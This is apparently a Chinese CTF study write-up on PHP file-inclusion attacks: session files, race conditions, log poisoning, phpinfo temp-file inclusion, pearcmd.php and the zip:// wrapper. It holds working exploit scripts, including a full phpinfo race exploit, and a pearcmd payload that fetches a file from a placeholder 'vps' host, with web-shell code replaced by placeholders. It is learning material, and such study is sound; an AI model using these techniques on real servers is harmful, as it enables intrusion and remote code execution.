文件包含

安全声明:本文仅用于 CTF 学习与授权环境复现。
可直接运行的 PHP shell 示例已替换为 <PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>
对应十六进制 PHP payload 已替换为 <HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY>
文中的危险脚本文件名发布时统一改为 output.txt,避免触发杀软或被误用为可执行脚本。

文件包含

介绍

常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()

区别如下:

require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来

session文件包含

php的session文件的保存路径可以在phpinfo的session.save_path看到

介绍

Session文件包含是本地文件包含(LFI)漏洞的高级利用方式,攻击者通过:

  • 向Session文件中注入恶意PHP代码
  • 利用文件包含漏洞执行这些代码
  • 获得服务器控制权或读取敏感信息

利用

满足两个条件:
1.Session文件的内容可控,即攻击者可以通过某种方式将恶意代码写入Session文件中。
2.能够获取Session文件的路径,这样才能通过文件包含函数来执行Session文件中的代码

WP

先查看 /etc/passwd
得到
pasted image 20260116175917
分析
1.系统类型线索:/bin/ash

1
root:x:0:0:root:/root:/bin/ash
  • 重要发现:root用户使用的是/bin/ash,而不是常见的/bin/bash
  • 为什么重要:这是Alpine Linux的标志性特征
  • 类比理解:就像看到某人用iPhone而不是Android,就能猜出他用的是苹果生态系统

2.Alpine Linux的Session存储规则

系统类型 Session默认路径
Ubuntu/Debian /var/lib/php/sessions/
CentOS/RHEL /var/lib/php/session/
Alpine Linux /tmp/
Windows C:\Windows\Temp\
所以推测默认路径是/tmp/
再读取
1
/?file=php://filter/convert.base64-encode/resource=action.php

得到一串字符,base64解码

1
2
3
4
5
6
7
8
9
10
<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

抓包看cookie
pasted image 20260116183349
进入session文件了
pasted image 20260116181852
蚁剑连接
pasted image 20260116183733

条件竞争

题目

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

分析:
把一些危险字符替换在你的输入请求中
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import io
import requests
import threading
url = 'http://301fdf90-6009-4daa-bab2-37e6d76f58f3.challenge.ctf.show/'

def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>mumuzi'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'mumuzi' in response.text:
print(response.text)
break
else:
print('retry')

if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
攻击原理
  1. 利用机制:利用PHP的session.upload_progress特性

    • 当PHP启用此功能时,会将会话上传进度信息写入会话文件
    • 攻击者可以控制写入的内容,注入PHP代码
  2. 竞争条件

    • 一个线程持续写入恶意代码到会话文件
    • 另一个线程(read函数)不断尝试包含并执行这个会话文件
    • 通过高速循环增加在文件被清理前成功执行的概率
  3. 目标漏洞:目标网站存在文件包含漏洞

    • URL参数?file=/tmp/sess_flag显示网站允许包含任意文件
    • 攻击者利用这点包含含有恶意PHP代码的会话文件

日志包含

基本原理

日志文件包含漏洞是一种利用服务器日志记录机制和文件包含漏洞相结合的攻击方式。攻击者通过向日志文件中注入恶意代码,然后利用文件包含漏洞使服务器执行这些代码,从而获取服务器控制权。

主要攻击类型

1. Web中间件日志文件包含
  • 常见路径:
    • Apache: /var/log/apache/access.log
    • Nginx: /var/log/nginx/access.log 和 /var/log/nginx/error.log
  • 利用条件:
    • 知道日志文件的具体位置
    • Web服务器对日志文件具有可读权限
    • 存在文件包含漏洞
2. 恶意代码注入方式
  • 通过URL参数注入:

    • 请求URL包含PHP代码,如: http://目标/api/<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>
    • 需使用Burp Suite等工具避免浏览器自动URL编码
    • 请求记录在access.log中后,通过文件包含执行

例如

1
http://10.226.65.254/api/<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>

pasted image 20260319162455

  • 通过User-Agent头注入:

    • 修改请求头中的User-Agent字段,插入PHP代码
    • 优势: 可绕过URL参数过滤机制
    • 适用于对请求参数严格过滤但未过滤请求头的场景
3. SSH日志文件包含
  • 日志路径/var/log/auth.log 或 /var/log/secure
  • 利用方法:
    • 将SSH用户名设置为PHP代码: ssh '<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>'@目标IP
    • 登录失败记录会被写入auth.log
    • 通过文件包含漏洞加载日志文件执行代码
  • 适用场景: 当Web应用存在文件包含漏洞,且能访问系统认证日志

临时文件包含

原理

当我们在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除

利用phpinfo的特性可以很好的帮助我们,因为phpinfo页面会将当前请求上下文中所有变量(所有数据)都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,拿到 临时文件变量名 之后,就可以进行包含执行我们传入的恶意代码。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。但是在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
所有需要条件竞争

1
2
3
4
5
$_FILES['userfile']['name'] 客户端文件的原名称。
$_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。
$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
$_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。

$_FILES['userfile']['name']这个变量值的获取很重要,因为临时文件的名字都是由随机函数生成的,只有知道文件的名字才能正确的去包含它。

获取文件名

文件被上传后,默认会被存储到服务端的默认临时目录中,该临时目录由php.ini的upload_tmp_dir属性指定,假如upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录中。

不同系统服务器常见的临时文件默认存储目录,了解系统的默认存储路径很重要,因为在很多时候服务器都是按照默认设置来运行的。

Linux目录

Linxu系统服务的临时文件主要存储在根目录的tmp文件夹下,具有一定的开放权限

1
/tmp/

Windows目录

Windows系统服务的临时文件主要存储在系统盘Windows文件夹下,具有一定的开放权限

1
2
C:/Windows/
C:/Windows/Temp/

存储在服务器上的临时文件的文件名都是随机生成的,了解不同系统服务器对临时文件的命名规则很重要,因为有时候对于临时文件我们需要去爆破,此时我们必须知道它的命名规则是什么。

可以通过phpinfo来查看临时文件的信息。

1
2
3
Linux临时文件主要存储在`/tmp/`目录下,格式通常是(`/tmp/php[6个随机字符]`)

Windows临时文件主要存储在`C:/Windows/`目录下,格式通常是(`C:/Windows/php[4个随机字符].tmp`)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
import sys

import threading

import socket

# setup函数主要作用是生成并返回三个值:

# 1.上传恶意代码的HTTP请求REQ1,一个是标识符TAG,一个用于本地文件包含的HTTP请求LFIREQ

def setup(host, port):

    # 设定标识符 TAG 和 恶意载荷 payload

    # 设计 上传给phpinfo的超大填充数据包

    TAG="Security Test"

    PAYLOAD="""%s\r

<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>')?>\r""" % TAG

    REQ1_DATA="""-----------------------------7dbff1ded0714\r

Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r

Content-Type: text/plain\r

\r

%s

-----------------------------7dbff1ded0714--\r""" % PAYLOAD

    padding="A" * 5000

    REQ1="""POST /06/phpinfo.php?a="""+padding+""" HTTP/1.1\r

Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r

HTTP_ACCEPT: """ + padding + """\r

HTTP_USER_AGENT: """+padding+"""\r

HTTP_ACCEPT_LANGUAGE: """+padding+"""\r

HTTP_PRAGMA: """+padding+"""\r

Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r

Content-Length: %s\r

Host: %s\r

\r

%s""" %(len(REQ1_DATA),host,REQ1_DATA)

    #modify this to suit the LFI script  

    LFIREQ="""GET /06/lfi.php?file=%s HTTP/1.1\r

User-Agent: Mozilla/4.0\r

Proxy-Connection: Keep-Alive\r

Host: %s\r

\r

\r

"""

    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):

    # 建立两个HTTP链接,一个是给phpinfo的POST请求,一个是给文件包含页面发送webshell的请求

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))

    s2.connect((host, port))

    # phpinforeq是第一个POST数据包

    s.send(phpinforeq)

    # d用于存储从服务器接收到的响应数据

    d = ""

    while len(d) < offset:

        d += s.recv(offset)

    try:

        i = d.index("[tmp_name] =&gt; ")

        # fn为提取到的临时文件路径

        fn = d[i+17:i+31]

    except ValueError:

        return None

    s2.send(lfireq % (fn, host))

    d = s2.recv(4096)

    s.close()

    s2.close()

    if d.find(tag) != -1:

        return fn

counter=0

class ThreadWorker(threading.Thread):

    def __init__(self, e, l, m, *args):

        threading.Thread.__init__(self)

        self.event = e

        self.lock =  l

        self.maxattempts = m

        self.args = args

    def run(self):

        global counter

        while not self.event.is_set():

            with self.lock:

                if counter >= self.maxattempts:

                    return

                counter+=1

            try:

                x = phpInfoLFI(*self.args)

                if self.event.is_set():

                    break                

                if x:

                    print "\nGot it! Shell created in /tmp/g"

                    self.event.set()

            except socket.error:

                return

def getOffset(host, port, phpinforeq):

    """Gets offset of tmp_name in the php output"""

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host,port))

    s.send(phpinforeq)

    d = ""

    while True:

        i = s.recv(4096)

        d+=i        

        if i == "":

            break

        # detect the final chunk

        # 如果接收到的响应数据以 "0\r\n\r\n" 结尾

        #(可能表示 HTTP 响应的最后一个分块数据),则也停止接收

        if i.endswith("0\r\n\r\n"):

            break

    s.close()

    i = d.find("[tmp_name] =&gt; ")

    if i == -1:

        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)

    # padded up a bit

    return i+256

def main():

    print "LFI With PHPInfo()"

    print "-=" * 30

    # 参数检查,如果没有提供足够的参数,程序终止,需要host和port

    if len(sys.argv) < 2:

        print "Usage: %s host [port] [threads]" % sys.argv[0]

        sys.exit(1)

    # 解析目标主机,通过gethostbyname将主机名解析为IP地址,若解析失败,返回错误信息退出

    try:

        host = socket.gethostbyname(sys.argv[1])

    except socket.error, e:

        print "Error with hostname %s: %s" % (sys.argv[1], e)

        sys.exit(1)

    # 解析端口号,默认80

    port=80

    try:

        port = int(sys.argv[2])

    except IndexError:

        pass

    except ValueError, e:

        print "Error with port %d: %s" % (sys.argv[2], e)

        sys.exit(1)

    # 线程池默认大小为10

    # 如果用户提供了线程池大小的参数(第三个参数),程序会尝试将其转换为整数。

    # 如果转换失败(比如非法输入),程序会输出错误信息并退出

    poolsz=10

    try:

        poolsz = int(sys.argv[3])

    except IndexError:

        pass

    except ValueError, e:

        print "Error with poolsz %d: %s" % (sys.argv[3], e)

        sys.exit(1)

    # 获取偏移量

    print "Getting initial offset...",  

    reqphp, tag, reqlfi = setup(host, port)

    offset = getOffset(host, port, reqphp)

    sys.stdout.flush()

    maxattempts = 1000

    e = threading.Event()

    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz

    sys.stdout.flush()

    tp = []

    for i in range(0,poolsz):

        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:

        t.start()

    try:

        while not e.wait(1):

            if e.is_set():

                break

            with l:

                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))

                sys.stdout.flush()

                if counter >= maxattempts:

                    break

        print

        if e.is_set():

            print "Woot!  \m/"

        else:

            print ":("

    except KeyboardInterrupt:

        print "\nTelling threads to shutdown..."

        e.set()

    print "Shuttin' down..."

    for t in tp:

        t.join()

if __name__=="__main__":

    main()

利用pearcmd.php从LFI到getshell

条件:register_argc_argv=On

image-20211220194003580

pear可以用来拉取远程的代码

pear install -R /tmp http://vps/output.txt

假如我的vps上有一个文件output.txt

echo "aaa";
?>

如果你远程服务器中/var/www/html中php代码可以被解析,那么你使用pear拉取到的output.txt就是

aaa

如果远程服务器上的php没有被解析,拉取到的output.txt就是

echo "aaa";
?>

所以,当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php,拉取远程服务器上的文件到靶机,再通过文件包含获取shell。

如果靶机出网

//test.php

我们尝试拉取远程服务器的output.txt到靶机的/tmp目录下

payload

http://localhost/test.php?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://vps/output.txt
//shell就是我们的一句话木马

然后文件包含output.txt同时传参cmd即可

解释payload

  • ?file=/usr/local/lib/php/pearcmd.php
    • 指定 pearcmd.php 文件的路径。
    • pearcmd.php 是 PEAR(PHP 扩展和应用库)的命令行工具。
  • &+install+-R+/tmp+http://vps/output.txt
    • 这是 pearcmd.php 的 install 命令的参数。
    • install:安装指定的包。
    • -R /tmp:将安装的文件保存到 /tmp 目录。
    • http://vps/output.txt:从远程服务器下载的恶意文件。

如果靶机不出网,我们可以写一句话木马进hello.php

解释payload

  • ?+config-create+
    • 这是 PHP 的 pearcmd.php 工具的一个参数,用于创建配置文件。
    • pearcmd.php 是 PEAR(PHP 扩展和应用库)的命令行工具。
  • /&file=/usr/local/lib/php/pearcmd.php&/
    • 指定 pearcmd.php 文件的路径。
    • 如果服务器上存在 pearcmd.php,这段代码会尝试调用它。
- 这段代码的目的是将恶意 PHP 代码写入目标文件。 - **`+/tmp/hello.php`** - 指定目标文件的路径,即 `/tmp/hello.php`。 - 如果攻击成功,恶意代码会被写入该文件。

后来看了p牛的文章才知道$SERVER并不认为&符号是参数的分隔符,而是将+号作为分隔符

注意:在传参的时候不能用hackbar,因为<>会被hackbar编码而不会生效

zip协议.

前置
**zip://是PHP流协议,语法是:zip://zip文件路径#zip内部文件名
它的作用是:允许 PHP 直接读取并执行压缩包内部的文件
第一步:制作木马 写一个 PHP 一句话木马,保存时必须以 .php 结尾,比如命名为 output.txt。

第二步:压缩文件 将 output.txt 压缩成一个 ZIP 压缩包,比如叫 test.zip。

第三步:伪装后缀(绕过上传限制) 将 test.zip 重命名为 test.jpg。

为什么?因为服务器端的上传功能通常只允许 .jpg 格式通过。改成 .jpg 后,服务器就会乖乖把它保存到 upload/test.jpg。但这个文件本质上依然是个 ZIP 压缩包。

注意使用hackbar时将#号转换为%23**

注意使用hackbar时将#号进行 URL 编码转换为%23
polar2026春季挑战杯Pandora Box
根据提示上传一个jpg,访问跳转时报错
pasted image 20260326142733

查看源码

1
/index.php?file=php://filter/convert.base64-encode/resource=index
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>Secure Image Loader</title>
<style>
body { font-family: 'Courier New', monospace; background: #1e1e1e; color: #c0c0c0; text-align: center; padding-top: 50px; }
.container { width: 800px; margin: 0 auto; background: #2d2d2d; padding: 30px; border-radius: 8px; box-shadow: 0 0 20px rgba(0,0,0,0.7); }
h1 { color: #fff; border-bottom: 2px solid #444; padding-bottom: 10px; }
.hint { background: #3c3c3c; padding: 15px; border-left: 5px solid #007bff; text-align: left; margin-bottom: 20px; color: #ddd; }
input[type="file"] { background: #444; color: #fff; padding: 10px; border: 1px solid #555; width: 100%; box-sizing: border-box; }
.btn { background: #007bff; color: white; border: none; padding: 12px 30px; margin-top: 15px; cursor: pointer; font-size: 16px; transition: 0.3s; }
.btn:hover { background: #0056b3; }
.log-box { text-align: left; background: #111; color: #ff6b6b; padding: 15px; border: 1px solid #aa0000; margin-top: 20px; font-size: 14px; overflow-x: auto; }
.success { color: #51cf66; font-weight: bold; }
</style>
</head>
<body>
<div class="container">
<h1>试试吧</h1>

<div class="hint">
<p><strong>[提示]:</strong></p>
<ul>
<li>安全策略:仅允许上传 <strong>.jpg</strong> 或 <strong>.png</strong> 格式</li>
<li>执行策略:所有文件最终将被强制视为 <strong>PHP脚本</strong> </li>
</ul>
</div>

<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<br>
<input type="submit" value="UPLOAD IMAGE" class="btn">
</form>

<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>
</div>
</body>
</html>

1
/?file=zip://upload/0cd87d5c854a71ec7e3f2e96e8736032.jpg%23shell

pasted image 20260326152004
pasted image 20260326152115
[参考文献][https://blog.csdn.net/m0_46467017/article/details/126380415]

文章目录
  1. 1. 文件包含
    1. 1.1. 介绍
    2. 1.2. session文件包含
      1. 1.2.1. 介绍
      2. 1.2.2. 利用
      3. 1.2.3. WP
      4. 1.2.4. 条件竞争
        1. 1.2.4.1. 攻击原理
    3. 1.3. 日志包含
      1. 1.3.1. 基本原理
      2. 1.3.2. 主要攻击类型
        1. 1.3.2.1. 1. Web中间件日志文件包含
        2. 1.3.2.2. 2. 恶意代码注入方式
        3. 1.3.2.3. 3. SSH日志文件包含
    4. 1.4. 临时文件包含
      1. 1.4.1. 原理
      2. 1.4.2. 获取文件名
    5. 1.5. 脚本
    6. 1.6. 利用pearcmd.php从LFI到getshell
    7. 1.7. zip协议.
|